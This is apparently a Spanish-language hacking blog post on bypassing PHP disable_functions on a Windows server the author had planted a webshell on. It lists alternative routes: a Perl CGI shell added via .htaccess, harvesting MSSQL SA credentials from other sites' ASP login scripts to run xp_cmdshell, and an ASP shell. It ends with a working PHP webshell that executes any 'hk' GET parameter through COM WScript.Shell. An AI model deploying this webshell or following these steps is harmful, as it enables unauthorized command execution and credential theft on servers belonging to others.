q3rv0

Follow the white rabbit….

[Windows OS] Evadiendo Las Disable_functions en Php Con COM()

Escribo este mini post, para hablar sobre el tema de evacion de ejecucion de comandos en servidores Windows, es que hace poquito subi una webshell a un Windows NT, y me encontre con las siguientes funciones denegadas:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-system
-shell
-exec
-system_exec
-shell_exec
-mysql_pconnect
-passthru
-popen
-proc_open
-proc_close
-proc_nice
-proc_terminate
-proc_get_status
-escapeshellarg
-escapeshellcmd
-eval

Ademas recorde que el usuario Abnormality tenia el mismo problema asi que por que no aclararlas en este escrito, ademas de hablar un poco sobre las maneras que pueden haber para saltearnos esta restriccion que el administrador impuso dentro del php.ini, en mi caso me tope con un server que corre dos tecnologias web como lo son PHP y ASP, otras cosas a tener en cuenta pegandole una ojeada a la imagen son las siguientes:

-Base de datos MSSQL corriendo en local.

-Lenguaje Perl activo

-ASP

-De ahora en mas ya tenemos dos maneras posibles de ejecutar comnados en el servidor, una es utlizando alguna webshell en perl, como por ejemplo la tan conocida “CGI telnet”, pero ademas de incluir un .htaccess que nos agregue la extencion .pl dentro del modulo del servidor, vamos a tener que modificar la ruta #!/usr/bin/perl por el path en el que se encuentra instalado perl, por defecto esta es #!C:\Program Files\perl\perl.exe pero podria estar instalado en otra hubicacion, para eso podriamos buscar la existencia de algun perlinfo.cgi el cual es un fichero que guarda informacion de perl similar a info.php, hay podriamos buscar el path del mismo.

– Otra manera seria ingresando a la base de datos MSSQL con privilegios de SA y ejecutar comandos mediante la funcion XP_CMDSHELL, esto lo podriamos hacer indagando en los scripts *.asp (formularios de autentificacion) de los demas dominios que conviven en el servidor, ya que no se me impedia moverme libremente por el mismo y leer ficheros dentro de lo que son los directorios web. Obviamente se debe a una mala configuracion de los permisos.

– Tambien podemos subir un shell en ASP.

Y por ultimo llegamos al uso de COM en php,

Basicamente y sin dar muchas vueltas COM permite interactuar con las aplicaciones de windows, fue desarrlollado para trabjar con POO (programacion orientada a objetos) y esta compuesto por objetos como WScript.Shell el cual permite interactuar con programas como el regedit, acceso a los directorios del sistema, entre otras tareas.

De esta manera investigando a pleno me encuentro con el siguiente script programado por hadi-kiamarsi en php:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

error_reporting(E_ALL);

if (isset($_GET['hk']) and !empty($_GET['hk']))
{
    $nuevo=new COM('WScript.Shell') or die('Unable to Load Activex'); //se crea el objeto WScript.Shell
    $salida=$nuevo->exec($_GET['hk']); //variable de entrada para ejecucion de comandos a travez de WScript mediante exec()
    echo "<pre>";
    echo $salida->stdout->readall; // obtencion de datos mediante stdout->readall
    echo "</pre>";
}
?>

El cual me premitio cumplir con mi objetivo en el servidor, lo comente un poco para que se entienda aunque es bastante sencillo e intuitivo.

Saludos y espero que hayan aprendido algo nuevo, por mi parte me alegro de cada dia aparezcan nuevos desafios para seguir dandole para adelante con el conocimiento y la curiosidad!